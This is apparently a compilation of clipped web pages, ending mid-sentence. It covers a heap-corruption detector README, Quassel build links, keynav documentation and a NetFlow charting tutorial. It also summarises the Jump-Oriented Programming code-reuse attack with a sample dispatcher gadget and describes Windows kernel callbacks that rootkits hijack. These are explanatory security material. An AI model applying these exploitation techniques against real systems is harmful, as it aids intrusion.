        *__outp++ = _S[(_S[i] + _S[j]) % _sSize] ^ *__inp++;
    }
    *__outp = 0;
    
[/code]

You can download the full project here.  
It is located in my public archive, where I will be posting other interesting
stuff.  
For every update of the public archive, I will make a post here.  
I hope you enjoyed it :\)  
Feel free to post a comment.  
In the following days I will be working on my RSA implementation \(yeah, I’m
into cryptography lately :p\).

# DhavalKapil/libdheap

**Created:**| _6/29/2017 4:08:54 PM_  
---|---  
**Updated:**| _6/29/2017 4:08:54 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

# libdheap

A shared \(dynamic\) library that can be transparently injected into different
processes to detect memory corruption in glibc heap.

It works by intercepting and wrapping over libc's malloc\(\) and free\(\)
while maintaining information about various chunks in an intermediate data
storage \(also on the heap\). Also, canaries are added before and after heap
chunks to detect overflows.

[code]

    +------------------+                               +---------------------+
    |                  |       malloc(), free()        |                     |
    |      User        | ----------------------------> |      libdheap       |
    |     Process      | <---------------------------- | (injected library)  |
    |                  |         intercepted           |                     |
    +------------------+                               +---------------------+
           | ^                                                   | ^
           | |                               __libc_**           | |
           | |                          +------------------------+ |
           | |                          | +------------------------+
           | |                          | |
           | |                          v |
           | |                   +---------------+               +------------+-----------+
           | |  printf(), etc.   |               |    chunks     |            |           |
           | +------------------ |     glibc     | ------------> |  user      | libdheap  |
           +-------------------> |    library    | <------------ |  data      |   data    |
                                 |               |               |            |           |
                                 +---------------+               +------------+-----------+
                                        ^ |                             Heap Memory
                                        | |
                                        | | brk(), mmap()
                                        | |
         -------------------------------------------------------------------------
                                        | |                Operating System
                                        | v
                                 +---------------+
                                 |               |
                                 |    kernel     |
                                 |               |
                                 +---------------+
    
[/code]

## Features

  * Runs directly on compiled code. Ideal for detecting errors in programs whose source code is unavailable
  * Detects **invalid frees** including double frees
  * Detects if malloc returns a **chunk which overlaps** with an already allocated chunk
  * Detects any kind of **buffer based overflow or underflow**. This also detects many 'use after free' vulnerabilities
  * Dynamic library, can be **attached to any process** \(provided required permissions are available\)
  * Displays the **stack trace** \(the function call history\) on detecting any of the above errors

## Installation

This library is _not_ portable and works only with glibc.

To install, clone this repository and ` cd ` to it:

[code]

    git clone https://github.com/DhavalKapil/libdheap
[/code]

Run ` make `:

[code]

    make
[/code]

The shared library will be generated: ` libdheap.so `

## Usage

To run any program with ` libdheap `, load the library using ` LD_PRELOAD `
environment variable.

[code]

    LD_PRELOAD=/path/to/libdheap.so gedit
[/code]

` libdheap ` will output any error/log to standard error by default. You might
want to redirect the output to some external file.

[code]

    [LIBDHEAP LOG] : Freeing non allocated chunk!
    [LIBDHEAP LOG] : Printing Stack Trace ====>
    [LIBDHEAP LOG] :    0x400604
    [LIBDHEAP LOG] :    0x2b3b8016ff45
    [LIBDHEAP LOG] : <==== End of Stack Trace
[/code]

` libdheap ` allows setting two configuration options \(through environment
variables\) as follow:

  1. ` LIBDHEAP_DEBUG `: If 1, will output debugging statements along with errors and logs.
  2. ` LIBDHEAP_EXIT_ON_ERROR `: If 1, will exit the instant it detects any memory corruption error.

By default, both are set to 0. Use the following command to configure:

[code]

    LD_PRELOAD=/path/to/libdheap.so LIBDHEAP_DEBUG=1 gedit
[/code]

Note: If debugging is enabled, it is advised to redirect output to an external
file \(` libdheap ` outputs a **lot** of things\). Also, this library is not
developed for using in production, since it slows the application by
approximately 5 times.

## Implementation details

  * Uses a custom stack tracer \(by jumping around the memory using the frame pointer\). Existing stack tracers don't work as they are themselves dependent upon 'malloc', 'free', etc.
  * Uses AVL trees for storing chunks as non overlapping sorted intervals.

## Contribution

Feel free to file issues and submit pull requests – contributions are welcome.

## License

libdheap is licensed under the MIT license.

  

# m4yer.minad.de/quassel

**Created:**| _3/18/2011 5:14:02 PM_  
---|---  
**Updated:**| _3/18/2011 5:14:02 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

# **m4yer.minad.de/quassel**

Nightly Quassel IRC builds for **MacOS X** >=10.4 **universal, Phonon, SSL,
Webkit, qca \(ab 0.7-pre+124\)**

* * *
  
  
  

  * Quassel Client-0.8-pre-80-gbb751e3-qt-4.7.2.dmg  
\[ dmg / 04.03.11 17:34:36 / 39 MB \]

  * Quassel-0.8-pre-80-gbb751e3-qt-4.7.2.dmg  
\[ dmg / 04.03.11 17:34:07 / 40 MB \]

  * Quassel-0.8-pre-76-g644837b-qt-4.6.3.dmg  
\[ dmg / 17.12.10 20:42:18 / 36 MB \]

  * Quassel Client-0.8-pre-76-g644837b-qt-4.6.3.dmg  
\[ dmg / 17.12.10 20:39:37 / 33 MB \]

  * Quassel-0.8-pre-19-gfdec4a8-qt-4.6.3.dmg  
\[ dmg / 23.09.10 18:02:02 / 36 MB \]

  * Quassel Client-0.8-pre-19-gfdec4a8-qt-4.6.3.dmg  
\[ dmg / 23.09.10 17:00:22 / 33 MB \]

  * Quasselcore-0.7-beta1-10-g8027c23-qt-4.6.3.zip  
\[ zip / 18.08.10 15:22:11 / 9 MB \]

  * Quassel-0.7-beta1-10-g8027c23-qt-4.6.3.dmg  
\[ dmg / 16.08.10 13:19:04 / 36 MB \]

  * Quassel Client-0.7-beta1-10-g8027c23-qt-4.6.3.dmg  
\[ dmg / 16.08.10 13:16:25 / 33 MB \]

  * Quassel-0.7-pre-124-g6f0a153-qt-4.6.3.dmg  
\[ dmg / 29.07.10 11:25:09 / 36 MB \]

  * Quassel Client-0.7-pre-124-g6f0a153-qt-4.6.3.dmg  
\[ dmg / 29.07.10 11:24:55 / 33 MB \]

  * Quassel-0.7-pre-105-g894e2dd-qt-4.6.3.dmg  
\[ dmg / 17.06.10 11:07:10 / 35 MB \]

  * Quassel Client-0.7-pre-105-g894e2dd-qt-4.6.3.dmg  
\[ dmg / 17.06.10 11:04:40 / 32 MB \]

  * Quassel-0.7-pre-96-gd204075-qt-4.6.3.dmg  
\[ dmg / 15.06.10 00:38:46 / 35 MB \]

  * Quassel Client-0.7-pre-96-gd204075-qt-4.6.3.dmg  
\[ dmg / 15.06.10 00:35:51 / 32 MB \]

  * Quasselcore-0.7-pre-96-gd204075-qt-4.6.2.dmg  
\[ dmg / 07.06.10 18:35:02 / 8 MB \]

  * Quassel-0.7-pre-96-gd204075-qt-4.6.2.dmg  
\[ dmg / 04.06.10 14:17:33 / 36 MB \]

  * Quassel Client-0.7-pre-96-gd204075-qt-4.6.2.dmg  
\[ dmg / 04.06.10 14:17:21 / 33 MB \]

  * Quassel-0.7-pre-83-g0f667b4-qt-4.6.2.dmg  
\[ dmg / 14.05.10 16:10:06 / 36 MB \]

  * Quassel Client-0.7-pre-83-g0f667b4-qt-4.6.2.dmg  
\[ dmg / 14.05.10 16:07:17 / 33 MB \]

  * Quassel-0.7-pre-53-g4399dbf-qt-4.6.2.dmg  
\[ dmg / 16.04.10 18:15:07 / 36 MB \]

  * Quassel Client-0.7-pre-53-g4399dbf-qt-4.6.2.dmg  
\[ dmg / 16.04.10 18:12:32 / 33 MB \]

  * Quassel-0.7-pre-31-g98f404b-qt-4.6.2.dmg  
\[ dmg / 28.03.10 18:08:12 / 35 MB \]

  * Quassel Client-0.7-pre-31-g98f404b-qt-4.6.2.dmg  
\[ dmg / 28.03.10 18:05:39 / 32 MB \]

  * Quassel-0.7-pre-27-g617a396-qt-4.6.2.dmg  
\[ dmg / 14.03.10 16:21:01 / 35 MB \]

  * Quassel Client-0.7-pre-27-g617a396-qt-4.6.2.dmg  
\[ dmg / 14.03.10 15:49:57 / 32 MB \]

  * Quassel-0.7-pre-13-gfba28c7-qt-4.6.2.dmg  
\[ dmg / 08.03.10 14:02:14 / 35 MB \]

  * Quassel Client-0.7-pre-13-gfba28c7-qt-4.6.2.dmg  
\[ dmg / 08.03.10 14:00:04 / 32 MB \]

  * Quassel-0.7-pre-qt-4.6.2.dmg  
\[ dmg / 03.03.10 22:26:39 / 35 MB \]

  * Quassel Client-0.7-pre-qt-4.6.2.dmg  
\[ dmg / 03.03.10 20:56:22 / 32 MB \]

  
  
  
webbased/php-based Quassel-Search-Engine: Quassel-Backlog-Search

* * *
  * Quassel-Backlog-Search  
\[ zip / latest release / 0.5.4 \]

  * Quassel-Backlog-Search  
\[ zip / latest nightly snapshot / 0.5.4-3-g1adf5fd \]  

  * git: **git://minad.de/home/m4yer/quasselsuche/**
  * gitweb: http://source.minad.de/sources/m4yer/quasselsuche/.git/
  * screenshot: screenshot

# Marco Ramilli's Blog: From ROP to JOP

**Created:**| _12/18/2011 4:43:01 PM_  
---|---  
**Updated:**| _12/18/2011 4:43:01 PM_  
**Author:**| __  
**Tags:**| _shellcode rop jop_  
  

## From ROP to JOP

Dec

14

Researchers from North Carolina State University and National University of
Singapore presented an interesting paper to ASIACCS11 titled: "Jump-Oriented
Programming: A New Class of Code-Reuse Attack".

  

<img src='img/Temp2_5210.png' width='400' height='126' />

  

The previous image \(click on it to make bigger\), taken from the original
paper, shows the differences between the well known Return Oriented
Programming and the new Jump Oriented Programming. As in ROP, a jump-oriented
program consists of a set of gadget ad- dresses and data values loaded into
memory, with the gadget addresses being analogous to opcodes within a new
jump- oriented machine. In ROP, this data is stored in the stack, so the stack
pointer esp serves as the “program counter” in a return-oriented program. JOP
is not limited to using esp to reference its gadget addresses, and control
flow is not driven by the ret instruction. Instead, JOP uses a dispatch table
to hold gadget addresses and data. The “program counter” is any register that
points into the dispatch table. Control flow is driven by a special dispatcher
gadget that executes the sequence of gadgets. At each invocation, the
dispatcher advances the virtual program counter, and launches the as- sociated
gadget.

  

This new way to see reusable code exploitation makes the use of three main
actors: \(1\) the dispatcher, which has to hijack the control flow by jumping
to different entries on the dispatch table, \(2\) the dispatch table which has
to wrap out gadgets addresses and data/padding, and finally \(3\) the gadget
catalog, which contains the effective code to be executed. Gadgets are not
terminating with RET as we were accustomed, but with JMP to the dispatcher. A
dispatcher example could be:

  

add %ecx, 4

jmp %\[ecx\]

  

Each time it is executed it jumps to the next gadget \(+4 bytes\) through the
dispatch table \(base address on %ecx\). Each time an addressed gadget is
executed it ends with a jump to the dispatcher, in this way a jumping chain is
built. The paper follows on describing a MOC example and providing algorithms
to find JOP gadgets.

  

I did like this reading and I do suggest it to all the interested security
guys that are reading my post, but I have some issues on believing the real
implementation of the dispatcher. As you might see the dispatcher increases
the jump offset by a fixed step, this assumes that the respective gadgets
don't use data or at least use a fixed number of data \(variables\). This is
highly impractical in a real exploitation scenario in which the attacker needs
many different gadgets which use respectively different quantity of data. I
have made here a simple explanation to what I mean.

# Global Windows Callbacks and WinDbg | MoonSols
**Created:**| _10/22/2013 10:35:45 AM_  
---|---  
**Updated:**| _10/22/2013 10:35:45 AM_  
**Author:**| __  
**Tags:**| _Debugging windbg_  
  

# **G** lobal Windows Callbacks and WinDbg****

Kernel-mode callbacks routines are used by various drivers, they are commonly
used by malwares or third party products because they make possible to
“hijack” critical functions without having to patch the SSDT \(_System Service
Dispatch Table\)_ which is protected by PatchGuard on x64 version of
Windows**.** Moreover, it avoids to patch the prolog code of the target
function**.**

This article is a short introduction to what functions are registering
callback and where they are stored**.** Windows Kernel is storing callback
functions using different methods, some of them can be retrieved in a table
like notify routines, or via a linked list like Bug check callback
functions**.**

The most infected callback table is the “Load Image”
_\(PspLoadImageNotifyRoutine\)_ callback table, which is infected by TLD4
Rootkit as highlighted by Frank Boldewin **.**  
_PspLoadImageNotifyRoutine_ , _PspCreateProcessNotifyRoutine_ ,
_PspCreateThreadNotifyRoutine_ are part of the Process Manager and entries can
be registered using **PsSetImageLoadNotifyRoutine\(\)**,
**PsSetCreateProcessNotifyRoutine\[Ex \]\(\)**, and
**PsSetCreateThreadNotifyRoutine\(\)** functions**.**

**PspNotifyEnableMask** is updated when a table is used, each lower bit
correspond to a callback table of the process manager**.**

Create process notify routines are called two times, one time during the
creation of the first/main thread in _**PspInsertThread**\(\)_, and a second
time during the destruction of the process in _**PspExitProcess**\(\)_**.**

Create thread notify routines are called each time _**PspInsertThread**\(\)_
is invoked by the creation new thread and also each time
_**PspExitThread**\(\) _is invoked during the destruction of a thread**.**

And finally, load image notify routines are invoked by the Memory Manager each
time an executable image is loaded in memory**.**

Configuration Manager _\(Registry\)_ call back functions are managed by the
double link list called _CallbackListHead_ on Windows Vista+ and by the
callback table _CmpCallBackVector_ in NT 5 and below**.** These callbacks are
registry by **CmRegisterCallback\(\)** function**.** As highlighted by Scott
Noone on his personal blog **.**

Bug checks \(B**.** S.O.D.\) have three linked list dedicated to callbacks:
_KeBugCheckCallbackListHead_ , _KeBugCheckReasonCallbackListHead_ , and
_KeBugCheckAddPagesCallbackListHead_ introduced in Vista+**.** These callbacks
functions are sometimes patched by rootkit such as Rustock**.** C to remove
“sanitize” the physical memory before the generation of a Microsoft crash dump
during the B.S.O.D. as highlighted by Frank Boldewin  in his Hack**.** lu
presentation in 2008. Please notice that these callback functions are not
called during the generation of a Microsoft crash dump using MoonSols WinDD
utility**.**

Entries in _KeBugCheckCallbackListHead_ are inserted by
**KeRegisterBugCheckCallback**\(\) function and entries in
_KeBugCheckReasonCallbackListHead_ are inserted by
**KeRegisterBugCheckReasonCallback**\(\) functions**.**

NMI \(Non-maskable interrupt \) callbacks are managed by the double link list
called _KiNmiCallbackListHead_ and registrable by
**KeNmiRegisterCallback**\(\) – These callbacks are invoked each time
**KiHandleNmi**\(\) function is invoked, and this function is called every
time the hardware interruption 2 occurs \(INT2,
_nt**\!****KiNmiInterruptStart\(\)**_\).

_AlpcpLogCallbackListHead_ is managed by Windows ALPC \(Advanced Local
Procedure Call\) Manager**.** In theory only the internal kernel function
**AlpcRegisterLogRoutine**\(\) can insert an entry in this link-list, and this
ALPC callbacks are invoked every time an ALPC log message is sent**.**

_EmpCallbackListHead_ is a linked list managed by Errata Manager, only the
Windows Kernel can have access to it to register entries**.**

Some of these callback tables, linked-list are only available from Windows
Vista symbols \(e**.** g**.** _AlpcpLogCallbackListHead,
KiNmiCallbackListHead\)**.**_

The Windows Debugger script is available below, to run it use the following
command:\[box type="info"\]kd> **$
><”\[Drive\]:\\\[FullPath\]\callbacks.txt”**\[/box\]

This WinDbg script is working with every version of Windows from XP to 7, and
for X86, x64 and IA64 architectures**.** Example of output can be found here
**.**

Download Windbg script

****

# keynav - retire your mouse. :: semicomplete.com - Jordan Sissel

**Created:**| _4/18/2013 11:13:01 AM_  
---|---  
**Updated:**| _4/18/2013 11:13:01 AM_  
**Author:**| __  
**Tags:**| _Linux tiling window managers_  
  

####  Table of Contents

  1. What is keynav?
  2. What does it do?
  3. Why it is fast?
  4. Watch the demo\!
  5. Mailing list
  6. Supported Platforms
  7. Download it\!
  8. Dependencies
  9. Build instructions
  10. How to use it
  11. Configuration file

#### What is keynav?

Another episode in the revolution against mouse-requisite interfaces. It's one
more step towards impulse-driven computing.

Enough marketing jargon. keynav is a piece of an on-going experiment to make
pointer-driven interfaces easier and faster for users to operate. It lets you
move the pointer quickly to most points on the screen with only a few key
strokes.

Note that I said pointer, not mouse. The mouse simply drives the pointer. We
can drive the pointer with other devices too. keynav turns your keyboard into
an fast pointer mover.

#### What does it do?

You select a piece of the screen. The screen is initially wholely selected.
One move will cut that region by half. A move is a direction: up, down, left,
and right.

Once you're done moving, you simply indicate \(with a key stroke\) that you
want to move. Boom, cursor moves.

#### Why it is fast?

keynav is geared towards selecting a piece of the screen very quickly.

Recall from above that you are selecting a region by cutting the previous
region by half. This gives us logarithmic scaling. High resolution screens
incur about the same number of moves to select an area as smaller screens do.

For example, to select _any_ pixel on a screen with resolution 1920x1200 it
would take 21 moves. 21 moves is horrible. There is a bright side\!

How often do you really want to click on a single specific pixel on your
screen using your mouse? Never, right? Well, maybe almost never. Most of the
time you want to:

  * Raise a window and give it focus: 80x80 pixel target \(worst: 9 moves\) 
  * Click on an "OK" button: 60x25 pixels \(worst: 11 moves\) 
  * Click on a text widget to activate it: 80x25 or larger 

#### Watch the demo\!

Bored of reading? How about a screencast demonstration? Click here or the
image below.

<img src='img/Temp2_10432.png' />

Hopefully the demo gives you a good idea of what keynav does.

#### Mailing list

The keynav users mailing list is: keynav-users@googlegroups.com

I'll be announcing new versions on this mailing list. Additionally, if you
want help or want to contribute patches to keynav, the mailing list is a good
place to go.

#### Supported Platforms

keynav is currently written in C and only works in X11 \(Unix graphics
environment\). I am planning on porting keynav to both Windows and OS X. If
you are interested in helping me with this, please contact me\! Known working:

  * FreeBSD + Xorg 6.9.0 
  * FreeBSD + Xorg 7.2.0 
  * Ubuntu Dapper + Xorg 7.0.0 
  * Ubuntu Feisty + Xorg 7.2.0 
  * Ubuntu Hardy + Xorg 7.2.0 
  * Cygwin + Xorg 6.8.x 
  * Fedora 9 

I've seen strong interest in this software working on other platforms, so I'm
doing the best I can. Again, if you're a .NET \(or just Windows\) or OS X
coder, and are willing to help port this, let me know. It's only 200 lines of
C in Xlib, so it can't be more than a one-day-long project.

#### Download it\!

keynav-0.20101014.3067.tar.gz

Looking for an older version? Try the keynav releases archive

#### Dependencies

  * glib >= 2.0 
  * libxdo \(from xdotool\) \(or, if you build static, libX11 libXtst and libXext\) 
  * Xinerama \(comes with xorg\) 
  * XSHAPE \(comes with xorg\) 

#### Build instructions

_make keynav_

The above should be all you need to do. Keynav comes with xdotool \(required
library\) and will build static if libxdo.so is not found on your system.

  * Debian users can install this package via apt-get install keynav 
  * FreeBSD users can install this from ports in x11/keynav 

#### How to use it

Run keynav, and activate it by pressing Control+Semicolon. You should see a
thin frame on the screen with a cross in it.

The following is the default configuration:

  * h : select the left half of the region 
  * j : select the bottom half of the region 
  * k : select the top half of the region 
  * l : select the right half of the region 
  * shift+h : move the region left 
  * shift+j : move the region down 
  * shift+k : move the region top 
  * shift+l : move the region right 
  * semicolon : Move the mouse to the center of the selected region 
  * spacebar : Move the mouse and left-click 
  * escape : Cancel the move 

#### Configuration file

Your config file must live in ~/.keynavrc. Such as /home/jls/.keynavrc

The config file format consists of a keysequence followed by a comma-separated
list of commands. For example:

[code]

    space warp,click 1,end
[/code]

This would move the mouse, click left mouse button, and finish \(close the
keynav selector\) when you hit spacebar while keynav was active. A sample
config file comes with the distribution as 'keynavrc'.

The following is a list of key modifiers: shift, ctrl, alt, or any valid X
Keysym, such as Shift\_L, etc.

List of commands:

start

     Activate keynav 
end

     Deactivate keynav 
cut-left, cut-right, cut-up, and cut-down

     Cut half of the selection in a given direction. For example, cut-left will select the left half of keynav selector region. If you attempt to cut the window too small, the operation will abort. Cut can take a percentage value to cut by. The default is ".5"
move-left, move-right, move-up, move-down

     Move the selector window a given direction. The movement amount is equal to the width or height of the selector depending on the direction. You cannot move the window outside the bounds of the screen. Move can take percentage value that specifies the distance relative to the size of the window. The default is "1.0"
warp

     Move the mouse to the center of the selector 
click <button>

     Click the given mouse button once. 1 == left, 2 == middle, 3 == right. 
doubleclick <button>

     Click the mouse button twice, quickly. This can also be achieved by doing "click 1,click 1" in your command sequence.
drag <button> \[keyseq\]

     Toggle dragging mode for the given button. If `keyseq` is given then that keysequence is held during the initial mouse button down event. This is useful in invocations such as 'drag 1 alt' to do a alt+click-drag on a window to move it. 
grid <rows>x<columns> _\[Added 20080509\]_

     Change the grid layout of the selection. For example, specifying 'grid 3x3' will divde the screen selection into 9 cells, 3 rows and 3 columns. Specifying 'grid 2x3' will divide the screen selection into 6 cells, 2 rows and 3 columns.
cell-select <row>x<column> OR cell-select <cell> _\[Added 20080509\]_

     Select a specific cell in the grid. The NxM syntax selects the specific row and column. The single number syntax selects the cell numbered counting from the top left to the bottom left. For example, a 3x3 grid would be numbered this way: 
[code]

    1 2 3
    4 5 6
    7 8 9
[/code]

grid-nav <on or off>

     Activates grid navigation. This is also describable as 'battleship navigation' if you are familiar with that classic game. This will make all cells visibly labeled by a two letters which are used as coordinates to type. For example, 'grid 5x5,grid-nav on' will give you a 5x5 grid with grid nav enabled, making all cells labeled starting AA, AB, AC ... AE, BA, BB ... EE. 
sh <command>

     Execute a command. This is run as /bin/sh -c <command >. For example: 
[code]

    run xterm,end
[/code]

This will start an xterm and end keynav selection. This allows you to use
keynav as a general-purpose key-binding tool.

history-back

     Go back one step in the movement history. Keynav keeps track of your keynav activity and this command allows you to step backwards. For example, if you cut-right, move-left, cut-up, then invoke history-back 3 times, your movements/cuts will be undone, in order. 
quit

     Tell keynav to exit 
record \[filename\]

     Record activities and save it to a register. This is very similar to vim's 'q' command which lets you record things. 
Optional argument is a filename to save the recordings to for persistence
across keynav runs. A single file will hold multiple recordings.

Example in keynavrc to bind 'q' to record to ~/.keynav\_macros: `q record
~/.keynav_macros`

Works similar to vim recording.

  1. Hit record once
  2. Type the key you want to record to
  3. Do things in keynav you want recorded.
  4. Any 'end' operation or hitting record again will terminate and save this recording.

Recordings only persist if you specify a file to save to, otherwise they are
lost across keynav restarts.

windowzoom

     Makes the keynav window the same size and position as the current active application window. 
cursorzoom <width> <height>

     Centers the keynav window on the cursor with the given size. 

# Introducing FlowPlotter for Easy Visualization of NetFlow Data | Applied Network Security Monitoring
**Created:**| _9/16/2014 8:35:27 PM_  
---|---  
**Updated:**| _9/16/2014 8:35:27 PM_  
**Author:**| __  
**Tags:**| _network-security monitoring routers charts are not graphs\!\!_  
  

# Introducing FlowPlotter for Easy Visualization of NetFlow Data

**_TLDR; Check out FlowPlotter on GitHub_**

If you're like me, it generally makes you happy to see graphs, charts, and
tables to aide in network data analysis. This can be useful for analysis of
already detected events, or for detection while hunting for evil. You probably
also love session \(also often called flow\) data. Unfortunately, it isn't
always easy to generate useful visualizations from flow data. This typically
involves multiple steps such as moving data around between different tools,
formatting the output of the data to match the format of whatever graphing
tool you might be using, and then generate the graph output and making sure it
is useful for your goals. Some might turn to the graphing capabilties of
spreadsheet applications because of their simplicity, but those can't really
handle a large data set like we might see with flow data. With that said, it
is still pretty hard to find overly useful network visualizations for NSM
detection and analysis.

Because of this, I set out to make visualizations from flow data easy and
accessible, without the need for several steps between viewing the raw data
and having the ready-made chart. The result of this was a tool called
FlowPlotter, which we are going to discuss in this article. We will talk about
how FlowPlotter came into existence, and its current workflow. FlowPlotter
works from NetFlow records viewed with SiLK, so before moving forward, be sure
to check out Chris's instructions on setting SiLK up on Security Onion so that
you can easily test the tool if you don't already have a SiLK environment
available. You can also go ahead and grab FlowPlotter from GitHub so that we
can jump into making graphs. To generate graphs, you will only need SiLK and
FlowPlotter. If the nitty gritty details bore you and you want to get into
FlowPlotter right away with examples, skip this API stuff and scroll down
below.

# Background Mechanics

We will begin by talking about how FlowPlotter works. For the purpose of
portability across multiple platforms, it makes sense that we should be
viewing this kind of visualization in a web friendly format, rather than just
a jpeg or Excel graph. To do this, FlowPlotter uses an implementation of
Google Charts. Google charts offers an extensive API that allows for the
creation of just about any chart you can imagine. While many of these make
more sense to have only a few rows of data \(Pie charts for example\), some
benefit from having as much data as can be shoved in to them \(line charts
representing bins of data\). Google provides thorough explanations on how to
create these charts using your own data, but of course, the formatting of the
data is still up to you. See their chart gallery for more examples on the
structure of these charts.

In Applied Network Security Monitoring, we discuss several ways of seeing the
"big picture" when it comes to visualizing data of many types. We also go into
deep detail on using SiLK to get the most from your flow data. Here I'd like
to present a simple method of going from using SiLK to parse data with
rwtools, straight to using some bash kung-fu to streamline our way to having
an interactive Google Chart full of flow data in your browser. The eventual
goal of this exercise is to run rwfilter commands and pipe the binary data
straight to a script which will take arguments to generate the data you want.
This results in having a tool that we can pass data to that will generate
charts using the Google API. Before we can run though, we need to walk. We'll
start by creating a chart that requires fewer data points, such as a bar chart
representing the top 10 country codes talking to your network by bytes over
the course of a day. The first thing we want to do is generate the SiLK data
that we eventually want to plot. Since the goal of this is to make a top-10
lists, we'll use rwstats and rwfilter.

> rwfilter --start-date=2014/02/06 --proto=0- --type=all --pass=stdout | rwstats --top --count=10 --fields=dcc --value=bytes
<img src='img/Temp2_4513' alt='Screen Shot 2014-02-13 at 3.29.10 PM' />

The rwfilter command above states that you wish to filter down to all data
that passes the filter --proto=0-255 \(shorthand is 0-\) that occurred on
2014/02/06. These can be stated in any order, and many people like to type
them out as they would verbally say them. For instance, on the rwstats
command, we're literally looking for the "top" "10" "destination country
codes" by "bytes". It seems that many of the people I teach SiLK to end up
having the issue of thinking too rigidly about "what SiLK wants", instead of
just writing down what you want, then converting that directly into a query.

Now we're going to try and make that rwstats output appear in a bar graph.
FlowPlotter, which I talk about in more detail below, works by using templates
that allow for the formatted data to be inserted into which then yields a
complete chart. Lets look at the most basic template for a column chart. This
is taken directly from Google's visualization playground, with their data
substituted out for "dataplaceholder" around the middle of the code. You'll
even notice that for now, the title is still "Company Performance".

> <html>  
>  <head>  
>  <script type="text/javascript" src="https://www.google.com/jsapi"></script>  
>  <script type="text/javascript">  
>  google.load\("visualization", "1", \{packages:\["corechart"\]\}\);  
>  google.setOnLoadCallback\(drawChart\);  
>  function drawChart\(\) \{  
>  var data = google.visualization.arrayToDataTable\(\[  
>  **dataplaceholder**  
>  \]\);
> var options = \{  
>  title: 'Company Performance',  
>  vAxis: \{title: 'Year', titleTextStyle: \{color: 'red'\}\}  
>  \};
> var chart = new
> google.visualization.BarChart\(document.getElementById\('chart\_div'\)\);  
>  chart.draw\(data, options\);  
>  \}  
>  </script>  
>  </head>  
>  <body>  
>  <div id="chart\_div" style="width: 900px; height: 500px;"></div>  
>  </body>  
>  </html>
You'll notice the "dataplaceholder" that exists where there should be a table
of data. In the place of that, we should be inserting something that looks
like the following, which was created from our rwstats command:

> \['dcc', 'Bytes'\],  
>  \['--', 26478355345\],  
>  \['us', 706854881\],  
>  \['ca', 8665204\],  
>  \['no', 1893193\],  
>  \['nl', 1416293\],  
>  \['bg', 1101223\],  
>  \['ch', 1092811\],  
>  \['de', 202948\],  
>  \['se', 169036\],  
>  \['gb', 117399\]
You'll notice that "\- -" is also a country code here representing
PRIVATE/EXPERIMENTAL address, which we'll leave for the sake of discussing
additional chart features and manipulations later. In the meantime, how did I
streamline the creation of that data to replace dataplaceholder? First it is
important to add the "\--delimited=," option on to rwstats to ease the post
processing a bit. After that, I used a mix of cut, sed, and grep to wrap it
all into a one liner:

> rwfilter --start-date=2014/02/06 --proto=0- --type=all --pass=stdout | rwstats --top --count=10 --fields=dcc --value=bytes --delimited=, | cut -d "," -f1,2 |grep ,| sed "s/\\\(.\*\\\),\\\(.\*\\\)/\['\1', \2\],/g"|sed '$s/,$//'| sed "s/, \\\(\[A-Za-z\].\*\\\)\],/, '\1'\],/g" | grep ","
There are probably better ways of generating that data, and I welcome them in
comments or variations of FlowPlotter, but for the sake of this particular
exercise, this will get you by. The general idea is that the rwstats command
output is piped to cut, which strips out the first two columns, then grep is
used to filter only data fields and titles. The sed commands that follow sorts
everything so that they all have the proper formatting, first by making the
table, then by formatting the end line and then the first column identifier
line. Now that we have the basic template and some example data, you can
manually throw the data into the template in place of dataplaceholder and
change some of the obvious things such as the title so that the HTML looks
like the following:

> <html>  
>  <head>  
>  <script type="text/javascript" src="https://www.google.com/jsapi"></script>  
>  <script type="text/javascript">  
>  google.load\("visualization", "1", \{packages:\["corechart"\]\}\);  
>  google.setOnLoadCallback\(drawChart\);  
>  function drawChart\(\) \{  
>  var data = google.visualization.arrayToDataTable\(\[  
>  \['dcc', 'Bytes'\],  
>  \['--', 26478355345\],  
>  \['us', 706854881\],  
>  \['ca', 8665204\],  
>  \['no', 1893193\],  
>  \['nl', 1416293\],  
>  \['bg', 1101223\],  
>  \['ch', 1092811\],  
>  \['de', 202948\],  
>  \['se', 169036\],  
>  \['gb', 117399\]  
>  \]\);
> var options = \{  
>  title: 'Destination Country Code by Bytes',  
>  vAxis: \{title: 'Country Codes', titleTextStyle: \{color: 'black'\}\}  
>  \};
> var chart = new
> google.visualization.BarChart\(document.getElementById\('chart\_div'\)\);  
>  chart.draw\(data, options\);  
>  \}  
>  </script>  
>  </head>  
>  <body>  
>  <div id="chart\_div" style="width: 900px; height: 500px;"></div>  
>  </body>  
>  </html>
Here you can see the code we've generated.

<img src='img/Temp2_4509' alt='Screen Shot 2014-02-13 at 8.33.18 PM' />

Notice that while mouse-over works \(at the link\) and overall it is a decent
looking graph, the scale is being ruined by our large amount of internal
destination addresses. There are two options to fix this, one that is obvious
but not great, and one that is not obvious, but is by far the better method.
Either we can get rid of the internal destinations from the data manually or
we can accept it and change the chart to be more forgiving for large outliers.
To do that, we need to edit the var options in our code. We're going add in an
hAxis option as seen below. This will make the horizontal axis work on a
logarithmic scale instead of scaling according to maximum and minimum data
values.

> <html>  
>  <head>  
>  <script type="text/javascript" src="https://www.google.com/jsapi"></script>  
>  <script type="text/javascript">  
>  google.load\("visualization", "1", \{packages:\["corechart"\]\}\);  
>  google.setOnLoadCallback\(drawChart\);  
>  function drawChart\(\) \{  
>  var data = google.visualization.arrayToDataTable\(\[  
>  \['dcc', 'Bytes'\],  
>  \['--', 26478355345\],  
>  \['us', 706854881\],  
>  \['ca', 8665204\],  
>  \['no', 1893193\],  
>  \['nl', 1416293\],  
>  \['bg', 1101223\],  
>  \['ch', 1092811\],  
>  \['de', 202948\],  
>  \['se', 169036\],  
>  \['gb', 117399\]  
>  \]\);
> var options = \{  
>  title: 'Destination Country Code by Bytes',  
>  vAxis: \{title: 'Country Codes', titleTextStyle: \{color: 'black'\}\},  
>  hAxis: \{logScale: true\}  
>  \};
> var chart = new
> google.visualization.BarChart\(document.getElementById\('chart\_div'\)\);  
>  chart.draw\(data, options\);  
>  \}  
>  </script>  
>  </head>  
>  <body>  
>  <div id="chart\_div" style="width: 900px; height: 500px;"></div>  
>  </body>  
>  </html>
Our new graph looks like this.

<img src='img/Temp2_4506' alt='Screen Shot 2014-02-13 at 8.33.38 PM' />

In testing changes like this, I highly recommend playing around in Google
Chart's Playground as it can streamline the debugging of small changes.

# **FlowPlotter**

Now that you've got an idea of how to manually generate these graphs, we can
